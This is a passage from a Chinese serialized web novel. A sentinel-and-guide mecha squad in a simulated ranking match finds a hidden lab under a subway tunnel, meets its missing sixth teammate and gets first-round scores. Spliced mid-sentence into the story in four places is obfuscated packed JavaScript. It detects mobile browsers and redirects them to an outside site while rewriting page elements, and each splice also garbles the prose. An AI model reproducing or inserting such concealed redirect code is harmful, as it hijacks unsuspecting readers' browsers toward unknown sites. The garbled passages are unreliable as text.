“这不可能。”湛容华站在楼梯上，有点难以置信，“难道第六人真的消失了？？？” “既然我们曾经感受对方的存在，就一定可以找到。”云川道，“但也许，是我们陷入了误区。” 她停下脚步。 “排除掉建筑内的夹层，这里还有什么地方可以藏人？我们还遗漏掉了什么地方呢？” 一辆自动行驶中的地铁2号线载着满车感染者停靠在本站。 期间无人下车，无人上车。 短短半分钟过去，门开门关，地铁重新启程，在云川眼前呼啸而过。 湛容华：“你是说——” 站台固定门被触手捅了个大洞，玻璃碎片哗啦啦落了一地。有些落在站台内，有些则掉在了地铁隧道里。 “隧道内部还没排查过。” 云川率先走进隧道。 解厉紧随。 麦考夫和阿比盖尔一前一后将湛容华夹在中间。 隧道里光线昏黄黯淡，许多灯泡已经损坏，闪烁不停。灯光在潮湿的空气中散射开来，形成一片朦胧的光晕，却无法完全驱散隧道内的黑暗。 地面轨道弯曲变形，表面不再光亮，锈迹丛生。两侧墙皮层层剥落，广告牌的纸张早已被时间侵蚀得只剩下模糊的轮廓，像是幽灵般附着在上面，角落还沾染上可疑的深色污渍。 有从墙壁或者天花板渗下来的水珠滴答滴答落个不停，听在解厉耳中，如同催命的倒计时。 阿比盖尔巡视一圈：“这里没有感染者。” 云川打开夜视仪，发现一只拖着长尾巴的老鼠，正从她脚边悉悉簌簌爬过。 解厉心情烦躁，见状轻轻踹了老鼠屁股一脚，把这小家伙吓得当即翻肚皮装死。 她冷哼：“人都快死绝了，老鼠却没事。” “或许这种病毒只针对人类基因。”云川若有所思。 阿比盖尔：“我们现在是该往前走，还是往后走？” “往后。”湛容华想了想道，“前面只有一条路。” 他说完，抬头看向云川。 云川点头：“走吧。” 她刚抬脚走了两步，就发现原本还在装死的老鼠忽然复活了，嗖一下窜到了她的前面，跑远了。 云川：“……” 解厉翻了个白眼。 “你们说秘密实验室会在哪里？”麦考夫在隧道里东张西望，一会儿望天一会儿看地，一会儿又摸摸墙壁，“我们之前找了一大圈儿都没发现踪迹呢。” “你们先前都找过哪些地方？”云川问。 “工厂园区和医院都搜过了，不过……除了这个，没其余发现。”想了想，湛容华从置物腰带里拿出一个东西，交到云川手里。 这是一个矩形芯片，仅有成人拇指甲盖般大小。云川接过看了看，发现芯片凸起的电路纹理上残留着一些可疑的深棕色痕迹，很像干涸的血液。 “我们在医院一名医生的办公室桌子上发现了这个。”麦考夫说，“起初我以为这是什么藏有肮脏秘密的邪恶芯片，可当我破解其中的加密算法后，我发现这其实是一枚工牌。它的佩戴者，是灵微生物公司市场部的销售经理，S101。上面纪录了S101的身份信息、权限信息和行为轨迹信息。” “其中，权限信息包括公司通行权限和内部系统访问权限。例如哪些区域该员工可以自由出入，哪些区域该员工需要额外授权，哪些公司数据库该员工可以公开访问，哪些特定应用程序受到权限设置无法打开……等等。而行为轨迹信息则包括了员工的上下班时间、加班时长等考勤数据，以及在公司内部的活动轨迹，比如几点几分该员工去了厕所待了多长时间，几点几分去了茶水间待了多长时间……换言之，这是一个全天的随身监控。” 呃呃啊，这流程听起来怎么那么耳熟？——除了没有往员工身体里植入芯片，艾伊尔公司的操作几乎和这个灵微生物一模一样。 “真可怕。”解厉打了个冷战，“为什么拉屎也要被监控？这有什么意义？” “当然有意义，这样老板就可以根据上厕所的时长来判断你究竟是真的在拉屎还是在带薪摸鱼。”云川幽幽道，“员工所浪费的每一秒钟，对于公司来说都是看不见的慢性失血。” 解厉：“……” 解厉：“啊？有这么严重么？” 即使隔着面甲，云川也能感受到解厉看向她的，那种令人恼火的，无邪中透露着茫然的眼神。 没上过班的人是这样的。 啊，她竟然有点羡慕。 云川摇头，将注意力重新转移到芯片上，问：“这个灵微生物的公司在哪？你们去找过了吗？” 麦考夫：“当然找过了。几乎翻遍整个东南区。” 阿比盖尔：“但一无所获。” 湛容华：“因此，我们怀疑它和秘密实验室有关。或者，换句话说，灵微生物就是这次任务中的秘密实验室。” “那你们怎么会想到进入地铁站？”云川有点好奇。 麦考夫愤愤握拳：“这不是阿华感知到那个老六在这里嘛！我们想着赶紧集合就来了，结果连个屁都没看见，还被一大群感染者跳脸上了!” “嘘，小声些。”解厉蹙眉，“你们有没有听到一些，像是机械运转的嚓嚓声？” 此言一出，周围皆是一静。 走在队伍最后方的阿比盖尔闻言，顿住脚步。之前她的注意力一直放在保护前方同伴，和检查后方有没有感染者偷袭上了，听到解厉这么一说后，她开始集中注意力探索周围。 “声音往哪个方向来？”她问解厉。 “就在这片区域。”解厉左 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15068150|163113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 右张望，有点踟蹰，“但分辨不清。好像没有，又好像到处都是。” “你的听觉一直都很敏锐。”阿比盖尔说着，走到她身旁，两名哨兵开始在原地来回踱步。其他人也没闲着，开始在周围寻找起来。 阿比盖尔走到隧道另一边，手掌贴在墙壁上，喃喃：“这里的温度……比其他区域要高。” 要知道，正常的地铁隧道内的温度相对均匀，很少会出现温度差异的情况。 云川的注意力却集中在另一件事情上。 ——隧道前方的那只老鼠，原本一直都是贴着右侧的隧道壁直线行动。然而，在经过她们目前正在搜查的这片区域时，老鼠忽然一个飘移，跑到左侧去了。这本不足为奇，可是不一会儿，老鼠又重新回到了右侧，就好像…… 故意避开那片隧道壁似的。 潮湿的空气在隧道中凝结成细密的水珠，滴落在铁轨上，发出清脆的响声。 云川打开机甲照明，强光穿透层层迷雾，照亮了湛容华眼前斑驳的墙壁。空气中弥漫着一股淡淡的铁锈味，麦考夫抬头，眯起眼睛。 “这条电缆管道的走向怎么这么奇怪？” 云川调整了一下照明灯的角度，光束扫过一面墙壁时，一个东西突然刺入湛容华眼帘。 “快看！”湛容华指向墙壁某处，那竟然刻着一个符号，看起来非常新鲜。 “这是圣所的标志！那老六一定来过这里！” 符号是一个正六边形，内部有个闪耀的五角星。六边形的每条边都由三条平行的细线组成，代表圣所的稳定和坚不可摧；中间的五角星的五个角分别向外散发着柔和的光线，象征圣所对每一位觉醒者的教育和指引。 刚才老鼠避开的正是这个地方。 众人围了过来。阿比盖尔眯起眼睛，在光线的照射下，她发现这一处墙壁的墙角，竟然有一扇隐藏得极好的金属门！ 即使门的表面覆盖着一层薄薄的氧化层，然而凭借哨兵的眼力，依然能看出它光滑的质感！ “原来是这里……” 金属门上没有任何把手或按钮，除了那个显眼的圣所标志，就只剩下几个模糊的符号。 云川伸手触摸表面，一种冰凉入骨的触感令她背后汗毛瞬间炸开。 突然，门面上的符号开始发出微弱的蓝光，紧接着，一道柔和的机械女声响起。 “请进行身份验证。” 麦考夫这次反应极快，他迅速从云川手里拿过那枚芯片，在门上发光的位置刷了一下！ 金属门突然缓缓向上升起，露出一个宽阔的地下空间。 见状，众人眼疾手快，一头扎了进去。 与外部老旧的地铁隧道相比，这里显然要崭新许多。空间宽阔，地面上铺设着某种发光材料，每隔几米就会亮起一盏幽蓝的小灯。 墙壁上镶嵌着一排排显示屏。虽然大部分已经损坏，但仍能看到屏幕上闪烁的设备。 麦考夫显得很兴奋：“我怎么就没想到呢！这里位于地铁路线的一个分支，建立一个秘密基地真是再好不过！只要通过监控设备和干扰装置对进入隧道的人员进行监控和信息干扰，那么他们就无法发现秘密隧道的存在！难怪阿华和川川姐没法感受到老六，看，这些设备都能对隧道内的通信和信号进行加密和屏蔽，当然也会影响精神力！要知道精神力的本质是什么？是大脑神经元活动产生的电信号——！” “所以我刚才感受到的，就是这些设备散发出的热量。”阿比盖尔道。 解厉道：“真是吵死了。” 不知道是在说麦考夫，还是在说这些嗡嗡作响的设备。 云川的目光被前方一辆列车吸引。 那是一辆风格和阿莱城格格不入，造型前卫的悬浮列车，车身的流线型设计在昏暗的光线下显得格外炫丽，表面覆盖着一层半透明的壳，隐约能看到内部精密的机械结构。 她走到列车前。车门自动打开。 车厢内亮起刺眼的白光，照亮内部一具具银白的舱室，以及一些早已干涸的黑色沥青。 “欢迎工号【S101】的乘客乘坐灵微专线货运列车。下一站，终点站——” “彩虹大剧院。” 15. 不灭灯塔15 解厉的眼睛不受控制地往云川身上看去。 彩虹大剧院！——这个云川之前就想要去一探究竟的地方——居然就是悬浮列车的终点！它和灵微生物是什么关系？难道真的如云川猜测的那样……彩虹大剧院的背后，其实就藏着秘密实验室？！ 解厉握紧手中的激光枪，只觉得心里一阵一阵地发冷。 如果此刻她是以真实的肉身在执行这场任务的话，那冷汗可能早已把她浸湿。 她开始疯狂复盘先前在十字路口的那场清除活动，并设想，如果当时现场只有自己一个人，她能否发现落在最后的那名感染者身上的异常？ 她会看见对方的身份铭牌吗？ 她会迅速反应过来对方当时出现在市中心的不合理之处，从而倒推出有关实验室的疑点吗？ 不。我不会。解厉在心中驳斥自己。 因为她根本不在意。 即使她先于云川一步看清铭牌上写了什么，她也不会将彩虹大剧院经理和秘密实验室联系在一起。 感染者在解厉眼中，只是一串数据，是一群写着【待清除】的任务目标。他们既不会思考，也不会说人话，唯一能提供给解厉的，只有杀死他们后增加的一些个人得分。解厉根本不会去考虑这个NPC出现在这个地方合不合理。 ——这是模拟战场的后勤技术人员需要面临的问题，不是她的。 哨兵是解决问题的人。 解厉一直这么认为。 ……发现问题，并且找到问题的活儿，不归她干。她唯二要做的事情就是提升精神力和战斗力。她要有最猛的火力和最壮的机甲，然后干掉解锐那个王八蛋成为最强哨兵！ 可是！ ……明明这个云川也没杀多少怪，除了液氮灭火器以外都没啥趁手的武器，为什么带给她心灵上的压迫感会这么强？阿比盖尔也是A级觉醒者，可她就很正常啊？ 想到前两次圣所毕业考核时她那和理想灯塔录取分数线相比总差“一点点”的分数，解厉突然感到心慌。 可恶，头痒痒的！ 这副抓耳挠腮的模样引起了云川的注意。 她怎么回事？难道是中招了？车厢内难道也有会造成精神污染的东西吗？ 原本正在观察列车内部的云川不动声色往后退了几步，她一边悄无声息地用精神触须接近解厉，一边绷紧身后的机甲触手，准备一有变化就将解厉狠狠捆起来！ 然而，五秒过去，解厉只是很丧气地挠了挠头，浑身散发着一种悲伤。 怎么说呢。 有点像想咬人，但因为牙还没长齐造不成任何伤害，只能无能为力流着口水大叫两声的……小北极熊。 不过她的精神体北极熊确实挺胖挺可爱的。 云川面无表情地扭过头，重新把注意力放在列车上。第六人不在这里，可能已经先他们一步抵达了彩虹大剧院。 通过车厢内的显示器可以发现，这辆悬浮列车只有两个停靠站台，即起点【市中心】和终点【彩虹大剧院】。两个站点之间以五个小圆点作为连接，现在已经亮起了两个，表示距离抵达终点越来越近。 他们才刚进入列车不久。如果列车能够一直保持这样超高的行驶速度，那么等他们抵达终点后，距离第一轮比赛结束应该还剩8-5分钟的时间，刚好可以用来探索彩虹大剧院。 云川在心中计算着时间，手上却动作不停，打开了其中一个银白的方型存储舱。 这存储舱每个只有手提箱大小，却几乎堆满整辆列车。 来都来了，就看看是什么吧。 随着存储舱被打开的一瞬间，寒冷的雾气汹涌而出，犹如幽灵的纱幔弥漫四溢，霎那就将这一片空间笼罩在朦胧之中。 “不好！川川姐——”一直跟着她左摸摸右看看的麦考夫心中警铃大作，当即就要出手。 “我没事！”云川说着，身后八条触手迅速挥散雾气，“这只是制冷剂。” 冰凉的雾气丝丝缕缕穿梭在几条触手之间，而舱室里的东西也终于显露真容。 那是…… 一朵花。 静静安卧于舱室中。 它的花瓣是一种深邃而绚烂的蓝紫色，像是宇宙深处的星屑汇聚而成。每一片花瓣都拥有细腻的纹理，宛如精心雕琢的艺术品。从花心处向外舒展，如同繁星闪烁时散发的光芒轨迹。花蕊则是更浓郁的深紫色，纤细而娇嫩，在雾气的萦绕下，如同一位从寒冰仙境中走出的精灵。 云川下意识后退一步，后背却撞到一个人，她马上反应过来：“抱歉！” 湛容华摆手：“没、没事。是我不小心……” 他们隔着面甲对视一眼，很快错开彼此的目光。 麦考夫将脸凑了上去：“这是什么花？好漂亮呀，亮晶晶的。” “小心点。”阿比盖尔捏着他的后脖颈往后拽，“万一有毒呢？” “尽花功夫在这些小东西的建模上……搞再精致又有什么用？”解厉嘟囔一句，“又买不到同款周边。” 她正抱怨着，云川已经打开了第二个存储舱。 也是花。 第三个。 还是花。 …… “这原来是一辆花车啊。”麦考夫感慨，“搞那么神秘就是为了运输这些花，灵微生物真是大手笔。” “花一定本身就价值不菲。否则难以解释这一切。”阿比盖尔说着，突然一愣，看向云川，“这会不会是——” “……合成病毒解药的材料？” 湛容华轻声回答了她。 云川颔首：“是有这种可能。” “那我们要带几个走吗？”解厉提议，“以防万一。” 云川思考片刻：“可以。” “我来拿吧。”湛容华自告奋勇。 “我们一人一个。有备无患。”云川道。 她和湛容华分别拿了一个存储舱。 阿比盖尔提醒：“快到站了。” 她问：“我们到时候该怎么行动？分开还是集体？” 云川：“集体行动。” 湛容华：“已经到了关键赛点，我们最好不要分开。” 两名向导几乎同时开口。 闻言，众哨兵点头。 “我们需要在五分钟左右的时间里完成两个目标。”云川伸出两根手指，“一，寻找实验室入口；二，寻找最后一名队友。” “全员做好战斗准备。我和云川负责寻找目标。”湛容华想了想，补充道，“解厉开路，阿比盖尔殿后，麦考夫负责 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15068151|163113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处理可能遇到的技术问题。” “要小心陷阱和埋伏。”云川说，“届时可能会遇到感染者突袭，且不能排除对面能力升级的可能。包括但不限于身体变异、精神污染、声波攻击……等等，对付这些，你们应该都比我有经验吧？” 阿比盖尔发出一声笑：“那还是得多谢川川姐提醒。” “保证完成任务。”麦考夫说。 “我会干掉所有挡路的感染者。”解厉最后检查了一遍自己的武器装备，很认真地说，“我会保护好你们每一个人。” 终于—— 列车到站了。 有S101的芯片在手，眼前封闭的大门自动打开。 解厉打头率先走出去。 而展现在她眼前的，是彩虹大剧院的地下停车场。 云川和湛容华同时释放精神域网。无形的精神力迅速向周围散开。 “不在这里。”湛容华轻轻闭上眼睛。 “去上面。”云川低声道。 ……在被病毒侵袭后，阿莱城许多地方成为废墟，曾作为城市地标之一的彩虹大剧院也未曾幸免。 当云川一行人通过逃生通道进入其内部时，这里已经破败不堪。不仅墙壁上满是涂鸦和各种被病毒侵蚀后留下的黑色污垢，还有部分地方穹顶坍塌了，暴雨哗啦，在布满裂痕的大理石地面流淌。 “走这边。”湛容华道。 周围弥漫着一股陈旧腐朽的气息。 五人的脚步声和雨声在此时奇异地重叠在一起。 一阵挟着水汽的冷风吹来，带来某种不详的预兆。 云川脚步一顿，如有所感地回头。 阿比盖尔顺着她的目光看去。 只见剧院被护栏围起的下沉式大厅中央，矗立着一个大型艺术装置。 那是一个由七根悬浮的金属棱柱构建而成的巨大结构体。它们交错盘旋在半空，形状像是扭曲的漩涡，又仿佛从幻梦中走出的怪物，表面流动着奇异的磷光纹路。一些闪着光的液态金属组成了支撑金属棱柱的“根系”，在地面蚀刻出不断变华的图形。 周围的一切是如此凋零残败，可这个装置却仿佛处在另一个空间……独享绚烂。 就好像它仍“活着”。 身旁的呼吸声突然加重。 云川垂眸，不经意扫过湛容华握紧的拳头。 “就在那里。”她轻声说，“实验室。” 触手卷起芯片，一道镭射光束自动聚焦于其上。 顿时，七根棱柱如同被击碎的冰雕般崩解，底部根系疯狂纠缠蠕动，终于在众目睽睽之下，重组成了一条通往地下的入口。 而也就在这时，闪电劈开穹顶！ 一个身影从天而降！ 月光与暴雨从破碎的穹顶倾泄而下，在对方肩胛撞出诡丽的紫色火花。那流线型的机甲外壳闪着流光，其上每道弧线都暗含杀机，铺天盖地的雨水尚未接触表面就化作嘶鸣的蒸汽。 当机甲战靴陷入地面时，整个大厅似乎都在震颤。 漆黑的雨夜中突然亮起两道紫色裂隙，像是沉睡的恶魔睁开双眼。 “——你们终于来了。” 一个沙哑中带着点阴柔的男声从面甲后发出。 “我的，队友们。” 16. 不灭灯塔16 他的轮廓在闪电强光中凝成一道缄默的剪影。 虽然隔着面甲，但云川依然能感受到对方目光正一一扫过在场所有人，最后落在自己的身上。 云川心中升腾起某种奇异的灵感。 当那双泛滥着紫色闪光的机甲之眼望向她的时候，她竟然有种皮肤被微微刺痛的感觉。 这痛感轻飘且短暂，如蜻蜓点水，像种不经意的试探。 然而，还没等云川细想个明白，一旁的麦考夫和解厉就纷纷发出抱怨的嘘声，打碎了大厅内一时沉寂下去的气氛。 麦考夫倒抽一口凉气，语气不忿：“搞毛啊？凭什么这家伙的出场姿势这么帅？他是不是早等在这里了？还有这声音……嘶！这气泡音一定是夹了！听得真让人心里冒火。” 解厉则很不耐烦地啧声：“不是，这位老六朋友，你这时候耍什么帅啊？不知道比赛时间快到了吗？秘密入口就在你屁股后还不赶紧进去！难道还要我把你踹下去吗？！” 被称作【老六】的最后一名队友：“……” 云川：“……” 湛容华：“……” 阿比盖尔强行按捺住正疯狂抽搐的嘴角，轻咳一声：“好久不见，卡修斯。你的伤已经养好了吗？欢迎回归。” 被她称作“卡修斯”的老六闻言点了点头：“我已痊愈。” 阿比盖尔还想说些什么，可卡修斯只是淡淡看了他们一眼，而后扭身冲进地下入口。 几乎在他身影没入黑暗的刹那，剩余五人便纷纷翻过护栏，眨眼间就紧随他后，一同闯了进去！ 【轰——】 入口大门在队伍最末尾的阿比盖尔身后关闭。 她没有回头，只是加快脚步，跟上队伍。 这是一条宽阔的地下通道。随着他们的到来，墙壁上昏暗的自动感应灯全亮了起来，幽绿光束将所有人照得鬼气森森。 云川看见道路尽头是一个紧闭的电门，门的正上方有一个闪着光的扫描仪，正好划过被触手卷起的S101芯片。 她自然垂下的右手食指微微一颤。 就在这时，光束里漂浮的空气尘埃突然凝滞—— 所有人都听见了一阵令人牙酸的咔擦咔擦声，像无数腐坏的齿轮正在歇斯底里地磨牙。 电门打开，一架从未设想过的老式电梯正从黑暗中升起，轿厢外壳结着层厚厚的锈。电梯内八盏顶灯尽数熄灭，唯独楼层按钮泛着冷光。 前方，卡修斯用脚卡住了即将闭合的电门。 那阵磨牙般的噪音更响了。 当最后一名队友挤进轿厢的瞬间，电梯毫无征兆开始下坠，并且速度越来越快，失重感强烈到让人心慌。 “这电梯不会出故障吧？”云川心想，后颈汗毛直竖，“我们六个人的机甲加起来应该超过二十吨重……” 万幸的是，想象中的灾难并没有发生。在经过一阵难挨的沉默之后，代表负六十层的指示灯终于亮起。 电梯门在机械运转声中缓缓开启，刺目的冷光从缝隙中倾斜而下。 而也就在这一个瞬间，云川耳边响起礼花被放响的声音。 “当当当~！四十五分钟时间已到，排位赛第一轮：病毒侵袭下的城市探索正式结束！” “任务：与五名队友集合，已完成！” “任务：清除病毒变异体，已完成！” “任务：寻找秘密实验室，已完成！” “恭喜A级向导云川/A级哨兵阿比盖尔/A级哨兵卡修斯/B级向导湛容华/B级哨兵解厉/C级哨兵麦考夫顺利通关！请各位再接再厉！这是您目前的分数得分以及总排名，接下来，我们将进入排位赛第二轮次——实验室危机！” “长久以来，阿莱城中总时不时流传关于彩虹大剧院地下神秘空间的说法。据说，在深夜，大剧院周围会出现一些奇异的光影和微弱的机械运转声，而那些在城中无故消失的流浪者，则更是为这个传言增添几分神秘色彩。有人猜测，这些流浪者是无意中发现通往地底神秘世界的通道，然后被未知力量掳走……但这些都只是人们的谣言，没有人能够确切证实。” “如今，阿莱城被一场可怕的病毒所侵蚀，大街小巷弥漫着死亡的气息。在人们四处寻找解决办法的时候，这个神秘的地下实验室再次成为了焦点。关于这个实验室的建造者和建造目的，早已被历史的尘埃所掩埋。它仿佛是从阿莱城的古老传说中悄然诞生，没有留下确切的记录。但一些智者推测，这个实验室或许与肆虐城中的病毒有着千丝万缕的联系。也许是实验室中的某个实验失控，导致病毒泄露……总而言之，这个实验室如同一个沉睡在黑暗中的巨兽，散发着神秘而危险的气息。” “这个实验室到底藏着怎样的秘密？它的内部结构与布局无人知晓。是布满各种先进的科研设备，还是隐藏着一些可怖的生物实验品？传言中的科学家是否还幸存，正默默研究着对抗病毒的解药？或者，她/他已经被病毒完全侵蚀，成为了一个危险的源头？所有的一切，尚未可知……” 【排位赛第二轮：实验室危机！】 【任务目标：找到被困科学家与病毒解药】 【注意：本轮比赛限时20分钟，请各位参赛选手在规定时间内完成。正式比赛将于一分钟后开始。请各位选手在休息期间调整状态，迎接下一轮挑战。】 模拟战场中的时间，被定格在了电梯门即将开启的前一刻。 所有人在听见耳边响起的电子音时心脏都是一紧，好在，之后听到的是晋级消息。一时间，云川暗暗松了口气。 轿厢里的氛围也终于不再像之前那般凝重，就连解厉看向老六卡修斯的眼神也变得不那么暴躁了。 但很快，随着播报声而来的，就是他们第一轮次的分数和排名。 【姓名：云川】 【个人得分（第一轮）： 探索贡献分：35 （成功探测关键路径，得5分；成功探测实验室大致位置，得10分；在探测实验室过程中起主导作用，额外加5分） ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15068152|163113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 精神力协作分：31 （与哨兵保持稳定的精神力联结，每持续五分钟可得3分；在战斗中因精神力联结及时引导哨兵躲避危险或成功打击敌人3次以上，额外加5分；帮助同队向导稳定精神力，额外加3分） 杀敌分：9 （每消灭一个普通病毒变异体，得0.5分；单独消灭一个大型病毒变异体，得3分） 存活分：5 （若在本轮存活，得5分；若因自身失误导致团队陷入困境但未造成人员死亡，扣3分；若因自身失误导致团队人员减损，每损失一名成员，扣5分）】 【个人总分：80】 【团队得分（第一轮）： 杀敌分：9+12+24+32+55+71=203 （团队每消灭一个普通病毒变异体得1分，向导杀敌得0.5分，哨兵杀敌得1分；若成员单独消灭一个大型病毒变异体，向导得3分，哨兵得5分） 探测与协作得分：35+31+30+28=124 （同向导个人得分-探索和精神力协作分 保护与存活得分：5*2+4*3=22 （若向导于本轮存活，得5分；若哨兵于本轮存活，得3分）】 【团队总分：349】 【云川总得分：80+349=429】 【当前排名：3/48】 嗯？作为新晋觉醒者的自己，第一次参赛居然排到第三名？ 云川扬扬眉毛，有点意外。 她为什么不是第一名？ 总共参赛人数也只有区区48人而已啊…… 剩下两个比她总分高的是谁？是向导还是哨兵？是杀敌比她多还是探索贡献比她好？她还需要在哪方面弥补？——对了，她确实没那么热衷于清除感染者，比起简单的杀戮，她更倾向于观察…… 看来她需要在接下来的比赛中转变思路。 思考着，一分钟的休息倒计时结束了。 云川将注意力重新放在眼前即将打开的电梯大门上。 有刺眼的光从缝隙中射出！ 云川下意识握紧装着神秘小花的箱子，瞳孔因过度惊愕而微微收缩——映入眼帘的竟是一个巨大无比的银色空间，无数全息投影在穹顶交织成流动的星图，将近十层楼高的玻璃幕墙上漂浮着上千个圆柱形培养舱，如同蜂巢般沿着弧形墙壁延伸至视线尽头。空气里弥漫着某种电离后的臭氧味，让她想起被雷暴击中的路面。 “这里就是——”解厉呼吸几乎凝固，她不可置信地看着眼前这一幕，“灵微生物实验室？” 卡修斯第一个走了出去。他用脚尖敲敲地面，合金地板顿时泛起涟漪状的蓝光，显露出下方三米处正在游动的巨型生物轮廓。 阿比盖尔蹙眉：“没想到能在这里看见这么高规格的量子防护层。” 麦考夫惊讶扬眉：“它能瞬间气化任何未经授权的有机物，非常危险。” 话音未落，刺耳的警报声骤然撕裂寂静。 17. 不灭灯塔17 卡修斯率先往警报声来源地冲过去。他动作敏捷流畅，几乎无声。 云川有点惊讶于他的反应速度，湛容华却对卡修斯这种擅自脱离队伍单独行动的做事风格略有微词。 但现在显然不是纠结这个的时候。 第二轮比赛时长仅有二十分钟，期间会遭遇什么挑战尚未可知。 所以，即使卡修斯为人再如何孤僻桀骜，只要不影响比赛，大家都可以忍受。 等众人顺着红色警示灯一路狂奔至B区的时候，看到的就是卡修斯静静站在隔离舱前的背影。 通过前方玻璃的反射，云川发现卡修斯微微抬起头，安静沉默地和后方的她对视了一眼。 然后很快偏移视线，就像什么事都没发生一样。 云川将对方的小动作尽收眼底。 说来奇怪，她总觉得卡修斯身上有一种特殊的气质，令她想起一种名为“刺客潜鲛”的深海鱼。 ——这种鱼身体细长，如一把狭长弯刀，在深海游动时非常迅疾灵活。 它的背部是深邃的紫黑色，上面布满不规则的白色斑点和条纹，这使它与深海中斑驳的光影效果相融合。而当从下方往上看时，它灰白色的腹部又能够与来自海面的微弱光线混为一体，十分具有隐蔽性。 不仅如此，刺客潜鲛的皮肤上还覆盖着一层特殊的黏液，这层黏液能够根据周围环境的光线和颜色变化，在一定程度上改变自身的色彩，更好地伪装自己。 云川曾对这种黏液做过研究，她曾解剖过很多条“刺客潜鲛”。所以她知道它们有一双令人称奇的大眼睛，几乎占据头部的三分之一。 它们的瞳孔是垂直的，这使得刺客潜鲛能够在昏暗的深海中最大限度地捕捉光线，具有出色的视力，云川曾一度在心中称呼它们的眼睛是邪恶猫猫眼。 不仅如此……眼睛的周围还分布着一些细小的触须，这些触须能够感知周围水流的细微变化，探测潜在猎物的动向。 此外，它的头部两侧还有一排微小的孔，这是它的侧线系统，可以感知水压和周围生物发出的微弱电场。 刺客潜鲛通常会潜伏在深海的珊瑚礁或者海沟附近，它会把自己伪装成一块漂浮的海藻或者一块随波逐流的礁石。 它会缓慢地摆动自己的身体，模拟周围物体的运动方式，以此来欺骗那些警惕性不高的猎物。当猎物靠近到一定距离时，它会突然发动攻击，张开它长满锋利牙齿的大口，将猎物一口吞下。 然而，刺客潜鲛很少主动追逐猎物，而是更喜欢等待猎物自己送上门来。 它会选择那些猎物经常出没的地方，耐心地等待，有时候甚至会连续几天保持不动，直到合适的猎物出现。一旦发现猎物，它会先悄悄地调整自己的位置，使自己处于猎物的下方或者侧面，然后以极快的速度冲向猎物，在猎物还来不及反应的时候将其捕获。 ……无论从外貌特征还是行为习性来看，云川认为，刺客潜鲛和卡修斯，两者十分相似。 就是不知道藏在紫色机甲下的卡修斯，是否也拥有一双闪闪发亮的大眼睛呢？ 这些光怪陆离的想法仅仅只在脑内闪过一瞬。 很快，云川的目光就略过卡修斯，望进隔离舱内部。 只见防爆玻璃内正上演着令人毛骨悚然的一幕：一名身着防护服的男人跪倒在地，面部如同高温下的蜡像般扭曲下坠，黑色粘稠物质从领口不断渗出。 他的手指深深抠进颈部皮肤，试图阻止某种无形的侵蚀，却只抓下大块胶质状血肉。而那些沥青般的液体滴落在地面后竟诡异地聚集成团，如同活物般朝着通风管道蠕动。 解厉大惊：“不好，他变异了快干死他——” “你等等！”麦考夫花容失色，一把按住她的手，“这是全息投影记录仪啊姐这不是真的！别冲动。” 而隔离舱外则在不知什么时候出现了一名身穿研究员制服的光头老头。 他双眼注视着隔离舱中几乎不成人形的男人，面色平静得不见丝毫惊慌。 “这是第十三起失败案例。星陨RNA病毒变体突破了血脑屏障，他们在彻底融化前会产生强烈攻击性……” 突然，隔离舱内传来骨骼碎裂的脆响，原本的人类躯体已坍缩成不断膨胀的黑色泥潭，数十根触须从泥浆中暴｜射而出，重重撞击在强化玻璃上。 一时间，大部分人的目光都集中在了云川身上。准确地说，是集中在了她的触手身上。 云川警惕地后退一步。 “看我做什么？这都是模拟战场的设定，我只是个参赛的，这一切和我真的没关系！” 说完这句话后，云川发誓她听见解厉失望地叹了口气。 云川：？ 不是？ 我的队友，告诉我，你刚刚到底在遗憾些什么啊？ 人在无语的时候就很想推推眼镜。可惜此刻揭开面甲有感染病毒的风险，云川的手刚抬起来又只能放下去。 透过因撞击而龟裂的观察窗，云川看见泥潭表面浮现出无数张痛苦的人脸，那些扭曲的五官正以相同的频率不断重复着一句唇语—— 救救我们。 湛容华闭了闭眼。 就在他刚想说些什么的时候，全息投影出的光头老头和感染者已经消失了。 阿比盖尔安慰地拍了拍他的肩头。 “这里没什么了。”卡修斯说。 他的声音并不洪亮，但足够每个人听清。 云川歪了歪脑袋：“走这边。” 他们离开隔离B区，前往实验C区。 银色走廊被应急灯染成血红色，周围全息投影面板满是【生物污染四级警报】的弹窗，看得人简直触目惊心。 他们的鞋底重重踩过C区碎了一地的玻璃器皿和不知道是什么成分的彩色液体，长驱直入更深处。 在经过B区以后，越往里走光线条件就越差劲，不再像之前那般灯火通明到了刺眼的程度。 看来，他们离危险越来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 